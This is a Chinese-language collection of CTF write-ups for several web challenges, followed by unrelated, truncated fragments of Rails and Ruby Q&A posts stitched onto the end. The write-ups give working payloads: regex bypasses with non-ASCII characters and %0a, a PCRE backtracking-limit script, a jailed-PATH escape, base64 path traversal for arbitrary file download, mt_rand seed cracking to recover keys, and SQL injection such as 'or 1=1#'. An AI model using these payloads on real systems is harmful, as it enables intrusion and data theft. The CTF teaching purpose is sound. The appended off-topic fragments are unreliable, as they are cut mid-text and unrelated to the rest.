目录
[Zer0pts2020]Can you guess it?(中文字符绕过preg_match)
[FBCTF2019]RCEService(/bin/调用命令 || 回溯绕过preg_match)
[GKCTF 2021]easycms(后台弱口令&任意文件下载)
[MRCTF2020]Ezaudit(伪随机数漏洞seed)
经判断存在异或注入 ?stunum=1^1^1#
原理:1^1=0 0^1=1 而 1^0=1 1^1=0
回显 :Hi admin, your score is: 100
因此可以构造判断语句来爆破:1^(判断语句)^1
?stunum=1^(length(database())=3)^1# 回显正常
点source得到源码
<?php
include 'config.php'; // FLAG is defined in config.php
if (preg_match('/config\.php\/*$/i', $_SERVER['PHP_SELF'])) {
exit("I don't know what you are thinking, but I won't let you read it :)");
}
if (isset($_GET['source'])) {
highlight_file(basename($_SERVER['PHP_SELF']));
exit();
}
$secret = bin2hex(random_bytes(64));
if (isset($_POST['guess'])) {
$guess = (string) $_POST['guess'];
if (hash_equals($secret, $guess)) {
$message = 'Congratulations! The flag is: ' . FLAG;
} else {
$message = 'Wrong.';
}
}
?>
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Can you guess it?</title>
</head>
<body>
<h1>Can you guess it?</h1>
<p>If your guess is correct, I'll give you the flag.</p>
<p><a href="?source">Source</a></p>
<hr>
<?php if (isset($message)) { ?>
<p><?= $message ?></p>
<?php } ?>
<form action="index.php" method="POST">
<input type="text" name="guess">
<input type="submit">
</form>
</body>
</html>
小知识点:
$_SERVER是一个全局数组在 $_SERVER 数组中存储的众多值中,存储了一个键为 'PHP_SELF' 的值,也就是 $_SERVER[“PHP_SELF”],该值存储的内容是:当前执行脚本的文件名,与 document root 有关。
比如执行一个 php 脚本的地址为:http://localhost/test/7ghost.php/ , 那么 $_SERVER[“PHP_SELF”] 对应的值即为:/test/7ghost.php/。
而且 $_SERVER[“PHP_SELF”] 该地址不包含 url 中的参数,比如你访问的 url 地址为:http://localhost/test/7ghost.php?par=123&par2=333 而 $_SERVER[“PHP_SELF”] 的值为 /test/7ghost.php 。
再比如,你访问的 url 地址为:http://localhost/test/7ghost.php/abc , 那么 $_SERVER[“PHP_SELF”] 的为:/test/7ghost.php/abc 。
当你想要获取当前页面的地址时,你可以使用下面的方法进行获取:
$url="http://".$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF'];
而关于 $_SERVER[‘PHP_SELF’] 使用的安全性,比如这种形式:
可能会被跨网站脚本攻击
$_SERVER['PHP_SELF']漏洞知多少_load_life的博客-CSDN博客
basename函数
函数用法:basename(path,suffix)
参数:
path 必需。规定要检查的路径。
suffix 可选。规定文件扩展名。如果文件有 suffix,则不会输出这个扩展名
作用:返回路径中的文件名部分
basename函数有一个小bug,它会去掉文件名开头的非ASCII值
即:PHP :: Bug #62119 :: basename broken with non-ASCII-chars
看一下第一段php代码
include 'config.php'; // FLAG is defined in config.php
if (preg_match('/config\.php\/*$/i', $_SERVER['PHP_SELF'])) {
exit("I don't know what you are thinking, but I won't let you read it :)");
}
if (isset($_GET['source'])) {
highlight_file(basename($_SERVER['PHP_SELF']));
exit();
}
在本题中假如路径是/index.php/config.php,浏览器的解析结果是index.php,这样才能执行index.php中的代码去包含文件,而basename会返回config.php,使得highlight_file显示出config.php的内容而不是原本的index.php,因为$_SERVER['PHP_SELF']的关系,就算后面有参数如 ?source 也会返回文件名部分
但是本题做了一个正则匹配,阻止了下面的方式获得config.php
preg_match('/config\.php\/*$/i', $_SERVER['PHP_SELF']) 表示不能以config.php为结尾

那我们可以以别的结尾试试 /index.php/config.php/{什么都可以}?source=

这里利用中文字符绕过preg_match, 使用不存在于ascii码表中的字符,比如中文符号?、《》、中文等,例如index.php/config.php/??source(第一个为中文问号),此时正则就会失效,SERVER获取到的就是index.php/config.php(忽略传参),经过basenmae后就是config.php,这样既可以绕过正则匹配,也可以绕过basename的过滤

下面还有一个guess的得到flag方法,不过好像是迷惑选项,这个方法好像行不通:
$secret = bin2hex(random_bytes(64));
if (isset($_POST['guess'])) {
$guess = (string) $_POST['guess'];
if (hash_equals($secret, $guess)) {
$message = 'Congratulations! The flag is: ' . FLAG;
} else {
$message = 'Wrong.';
}
}
这里遇见了一个陌生的 hash_equals($secret, $guess)函数 搜索之后又学到了一个题外的新的知识点
时序攻击
在 php 中比较字符串相等时如果使用双等 == 可能会有时序攻击的危险.
比如比较:
"abscdd" == $request->code
那么两个字符串是从第一位开始逐一进行比较的,发现不同就立即返回 false,那么通过计算返回的速度就知道了大概是哪一位开始不同的,这样就实现了电影中经常出现的按位破解密码的场景。密码破解复杂度成千上万倍甚至百万千万倍的下降。
而使用 hash_equals 比较两个字符串,无论字符串是否相等,函数的时间消耗是恒定的,这样可以有效的防止时序攻击
用hash_equals()或者strcmp()函数来比较,这两个是二进制安全的
json格式执行命令,我们传入?cmd={"cmd":"ls"} 看见了index.php
试着cat一下 ls / 都执行不了,毫无头绪 看了看别人的wp,应该是比赛的时候给了源码
<?php
putenv('PATH=/home/rceservice/jail');
if (isset($_REQUEST['cmd'])) {
$json = $_REQUEST['cmd'];
if (!is_string($json)) {
echo 'Hacking attempt detected<br/><br/>';
} elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) {
echo 'Hacking attempt detected<br/><br/>';
} else {
echo 'Attempting to run command:<br/>';
$cmd = json_decode($json, true)['cmd'];
if ($cmd !== NULL) {
system($cmd);
} else {
echo 'Invalid input';
}
echo '<br/><br/>';
}
}
?>
代码审计,我们看到正则表达式没有添加修饰符,因此可以利用%0a绕过正则匹配
?cmd={%0a"cmd":"ls /"%0a}

成功绕过并执行
我们查看一下代码里的 /home/rceservice/目录
{%0a"cmd":"ls /home/rceservice/"%0a} 发现了flag

jail目录下只有ls
putenv('PATH=/home/rceservice/jail'); 设置了环境变量,只能使用当前环境的命令
一:调用 /bin/cat
{%0a"cmd":"/bin/cat /home/rceservice/flag"%0a}

二、利用回溯限制绕过preg_match
import requests
url="http://0ef57325-ea59-4a92-94c5-7a0fb556c0e6.node4.buuoj.cn:81/"
r=requests.session()
data={
'cmd' : '{"cmd" : "/bin/cat /home/rceservice/flag" , "gagaga" : "'+'aaaa'*250000+'"}'
}
res=r.post(url=url,data=data)
print(res.text)

hint:后台密码五位弱口令
/admin.php 为其后台
尝试 admin/admin admin/12345
最终密码为12345 弱口令进入后台 登陆后有两种得flag方式
一. 任意文件下载
主题一栏可以点开,我们在设计-主题-自定义-导出主题-保存
发现下载链接有一串base64
http://f291d390-6286-4fb3-9f3d-3f08592998ae.node4.buuoj.cn:81/admin.php?m=ui&f=downloadtheme&theme=L3Zhci93d3cvaHRtbC9zeXN0ZW0vdG1wL3RoZW1lL2RlZmF1bHQvMS56aXA=
解码得到: /var/www/html/system/tmp/theme/default/1.zip 是文件的绝对路径,我们直接包含/flag就可以了,base64加密一下得到 L2ZsYWc=
最终payload:
http://f291d390-6286-4fb3-9f3d-3f08592998ae.node4.buuoj.cn:81/admin.php?m=ui&f=downloadtheme&theme=L2ZsYWc=
更改下载下来的flag.zip后缀为.txt 打开得到flag
二、修改源代码

写入一句话:
但是要首先创建一个文件验证管理员权限

设计-组件-素材库-上传素材
素材文件上传路径是文件名直接拼接来的,故可利用目录穿越创建上述要求创建的文件。再向模板内插入shell后读flag即可
访问 /check.php
006TTL4wyf
<?php
#这不是抽奖程序的源代码!不许看!
header("Content-Type: text/html;charset=utf-8");
session_start();
if(!isset($_SESSION['seed'])){
$_SESSION['seed']=rand(0,999999999);
}
mt_srand($_SESSION['seed']);
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str='';
$len1=20;
for ( $i = 0; $i < $len1; $i++ ){
$str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);
}
$str_show = substr($str, 0, 10);
echo "<p id='p1'>".$str_show."</p>";
if(isset($_POST['num'])){
if($_POST['num']===$str){x
echo "<p id=flag>抽奖,就是那么枯燥且无味,给你flag{xxxxxxxxx}</p>";
}
else{
echo "<p id=flag>没抽中哦,再试试吧</p>";
}
}
show_source("check.php");
考点是 伪随机数,利用给出的部分字符串回推seed
我知道种子后,可以确定你输出伪随机数的序列。 知道你的随机数序列,亦可以确定种子
利用 php_mt_seed工具 爆破种子
破解方法是穷举所有的种子并根据种子生成随机数序列再跟已知的随机数序列做比对来验证种子是否正确。php_mt_seed就是这么一个工具,它的速度非常快。它可以根据单次mt_rand()的输出结果直接爆破出可能的种子,
例如:time ./php_mt_seed 1219893521
当然也可以爆破类似mt_rand(1,100)这样限定了MIN MAX输出的种子,
例如:time ./php_mt_seed 26 26 0 61 26 26 0 61 32 32 0 61 55 55 0 61 55 55 0 61 47 47 0 61 30 30 0 61 22 22 0 61 24 24 0 61 5 5 0 61
这个题里面,我们要爆破的应该是这一段mt_rand(0,strlen($str_long1) - 1),相当于mt_rand(0,61), 这个所谓的产生的随机的字符串,就是通过这个0-61的随机数选20次选出来的
先用下面的脚本跑一下序列
str1='abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'
str2='006TTL4wyf'
length = len(str2)
res=''
for i in range(len(str2)):
for j in range(len(str1)):
if str2[i] == str1[j]:
res+=str(j)+' '+str(j)+' '+'0'+' '+str(len(str1)-1)+' '
break
print(res)
得到:26 26 0 61 26 26 0 61 32 32 0 61 55 55 0 61 55 55 0 61 47 47 0 61 30 30 0 61 22 22 0 61 24 24 0 61 5 5 0 61

得到种子:201841218
再利用得到的seed,反推$str
<?php
mt_srand(201841218);
$str_long1="abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str='';
$len1=20;
for($i=0;$i<$len1;$i++){
$str.=substr($str_long1,mt_rand(0,strlen($str_long1)-1),1);
}
echo $str;
?>
得到的结果输入到框中,得到flag

dirsearch扫目录发现了备份文件

下载下来源码如下:
<?php
header('Content-type:text/html; charset=utf-8');
error_reporting(0);
if(isset($_POST['login'])){
$username = $_POST['username'];
$password = $_POST['password'];
$Private_key = $_POST['Private_key'];
if (($username == '') || ($password == '') ||($Private_key == '')) {
// 若为空,视为未填写,提示错误,并3秒后返回登录界面
header('refresh:2; url=login.html');
echo "用户名、密码、密钥不能为空啦,crispr会让你在2秒后跳转到登录界面的!";
exit;
}
else if($Private_key != '*************' )
{
header('refresh:2; url=login.html');
echo "假密钥,咋会让你登录?crispr会让你在2秒后跳转到登录界面的!";
exit;
}
else{
if($Private_key === '************'){
$getuser = "SELECT flag FROM user WHERE username= 'crispr' AND password = '$password'".';';
$link=mysql_connect("localhost","root","root");
mysql_select_db("test",$link);
$result = mysql_query($getuser);
while($row=mysql_fetch_assoc($result)){
echo "<tr><td>".$row["username"]."</td><td>".$row["flag"]."</td><td>";
}
}
}
}
// genarate public_key
function public_key($length = 16) {
$strings1 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$public_key = '';
for ( $i = 0; $i < $length; $i++ )
$public_key .= substr($strings1, mt_rand(0, strlen($strings1) - 1), 1);
return $public_key;
}
//genarate private_key
function private_key($length = 12) {
$strings2 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$private_key = '';
for ( $i = 0; $i < $length; $i++ )
$private_key .= substr($strings2, mt_rand(0, strlen($strings2) - 1), 1);
return $private_key;
}
$Public_key = public_key();
//$Public_key = KVQP0LdJKRaV3n9D how to get crispr's private_key???
伪随机数漏洞,爆破seed 已知public_key为 KVQP0LdJKRaV3n9D
str1='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'
str2='KVQP0LdJKRaV3n9D' #随机序列其中之一
res=''
for i in range(len(str2)):
for j in range(len(str1)):
if str2[i] == str1[j]:
res+=str(j)+' '+str(j)+' '+'0'+' '+str(len(str1)-1)+' '
break
print(res)
结果为:36 36 0 61 47 47 0 61 42 42 0 61 41 41 0 61 52 52 0 61 37 37 0 61 3 3 0 61 35 35 0 61 36 36 0 61 43 43 0 61 0 0 0 61 47 47 0 61 55 55 0 61 13 13 0 61 61 61 0 61 29 29 0 61
利用php_mt_seed工具爆破seed
time ./php_mt_seed 36 36 0 61 47 47 0 61 42 42 0 61 41 41 0 61 52 52 0 61 37 37 0 61 3 3 0 61 35 35 0 61 36 36 0 61 43 43 0 61 0 0 0 61 47 47 0 61 55 55 0 61 13 13 0 61 61 61 0 61 29 29 0 61
得到seed:1775196155
执行下面代码得到private_key
<?php
mt_srand(1775196155);
function public_key($length = 16) {
$strings1 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$public_key = '';
for ( $i = 0; $i < $length; $i++ )
$public_key .= substr($strings1, mt_rand(0, strlen($strings1) - 1), 1);
return $public_key;
}
//genarate private_key
function private_key($length = 12) {
$strings2 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$private_key = '';
for ( $i = 0; $i < $length; $i++ )
$private_key .= substr($strings2, mt_rand(0, strlen($strings2) - 1), 1);
return $private_key;
}
$public_key = public_key();
$private_key = private_key();
echo $public_key." ".$private_key;
?>
private_key:XuNhoueCDCGc
注:此代码需要php版本7.0以下,7.0以上会不一样
根据文件泄露源码可知:
登录的sql语句为:$getuser = "SELECT flag FROM user WHERE username= 'crispr' AND password = '$password'".';'
利用万能密码绕过,username:crispr password:a' or 1=1# 密钥:XuNhoueCDCGc

得到flag
我正在尝试测试是否存在表单。我是Rails新手。我的new.html.erb_spec.rb文件的内容是:require'spec_helper'describe"messages/new.html.erb"doit"shouldrendertheform"dorender'/messages/new.html.erb'reponse.shouldhave_form_putting_to(@message)with_submit_buttonendendView本身,new.html.erb,有代码:当我运行rspec时,它失败了:1)messages/new.html.erbshou
我在从html页面生成PDF时遇到问题。我正在使用PDFkit。在安装它的过程中,我注意到我需要wkhtmltopdf。所以我也安装了它。我做了PDFkit的文档所说的一切......现在我在尝试加载PDF时遇到了这个错误。这里是错误:commandfailed:"/usr/local/bin/wkhtmltopdf""--margin-right""0.75in""--page-size""Letter""--margin-top""0.75in""--margin-bottom""0.75in""--encoding""UTF-8""--margin-left""0.75in""-
我在我的项目目录中完成了compasscreate.和compassinitrails。几个问题:我已将我的.sass文件放在public/stylesheets中。这是放置它们的正确位置吗?当我运行compasswatch时,它不会自动编译这些.sass文件。我必须手动指定文件:compasswatchpublic/stylesheets/myfile.sass等。如何让它自动运行?文件ie.css、print.css和screen.css已放在stylesheets/compiled。如何在编译后不让它们重新出现的情况下删除它们?我自己编译的.sass文件编译成compiled/t
我有一个对象has_many应呈现为xml的子对象。这不是问题。我的问题是我创建了一个Hash包含此数据,就像解析器需要它一样。但是rails自动将整个文件包含在.........我需要摆脱type="array"和我该如何处理?我没有在文档中找到任何内容。 最佳答案 我遇到了同样的问题;这是我的XML:我在用这个:entries.to_xml将散列数据转换为XML,但这会将条目的数据包装到中所以我修改了:entries.to_xml(root:"Contacts")但这仍然将转换后的XML包装在“联系人”中,将我的XML代码修改为
为了将Cucumber用于命令行脚本,我按照提供的说明安装了arubagem。它在我的Gemfile中,我可以验证是否安装了正确的版本并且我已经包含了require'aruba/cucumber'在'features/env.rb'中为了确保它能正常工作,我写了以下场景:@announceScenario:Testingcucumber/arubaGivenablankslateThentheoutputfrom"ls-la"shouldcontain"drw"假设事情应该失败。它确实失败了,但失败的原因是错误的:@announceScenario:Testingcucumber/ar
我在我的项目中添加了一个系统来重置用户密码并通过电子邮件将密码发送给他,以防他忘记密码。昨天它运行良好(当我实现它时)。当我今天尝试启动服务器时,出现以下错误。=>BootingWEBrick=>Rails3.2.1applicationstartingindevelopmentonhttp://0.0.0.0:3000=>Callwith-dtodetach=>Ctrl-CtoshutdownserverExiting/Users/vinayshenoy/.rvm/gems/ruby-1.9.3-p0/gems/actionmailer-3.2.1/lib/action_mailer
我的瘦服务器配置了nginx,我的ROR应用程序正在它们上运行。在我发布代码更新时运行thinrestart会给我的应用程序带来一些停机时间。我试图弄清楚如何优雅地重启正在运行的Thin实例,但找不到好的解决方案。有没有人能做到这一点? 最佳答案 #Restartjustthethinserverdescribedbythatconfigsudothin-C/etc/thin/mysite.ymlrestartNginx将继续运行并代理请求。如果您将Nginx设置为使用多个上游服务器,例如server{listen80;server
在MRIRuby中我可以这样做:deftransferinternal_server=self.init_serverpid=forkdointernal_server.runend#Maketheserverprocessrunindependently.Process.detach(pid)internal_client=self.init_client#Dootherstuffwithconnectingtointernal_server...internal_client.post('somedata')ensure#KillserverProcess.kill('KILL',
我已经从我的命令行中获得了一切,所以我可以运行rubymyfile并且它可以正常工作。但是当我尝试从sublime中运行它时,我得到了undefinedmethod`require_relative'formain:Object有人知道我的sublime设置中缺少什么吗?我正在使用OSX并安装了rvm。 最佳答案 或者,您可以只使用“require”,它应该可以正常工作。我认为“require_relative”仅适用于ruby1.9+ 关于ruby-主要:Objectwhenrun
我花了三天的时间用头撞墙,试图弄清楚为什么简单的“rake”不能通过我的规范文件。如果您遇到这种情况:任何文件夹路径中都不要有空格!。严重地。事实上,从现在开始,您命名的任何内容都没有空格。这是我的控制台输出:(在/Users/*****/Desktop/LearningRuby/learn_ruby)$rake/Users/*******/Desktop/LearningRuby/learn_ruby/00_hello/hello_spec.rb:116:in`require':cannotloadsuchfile--hello(LoadError) 最佳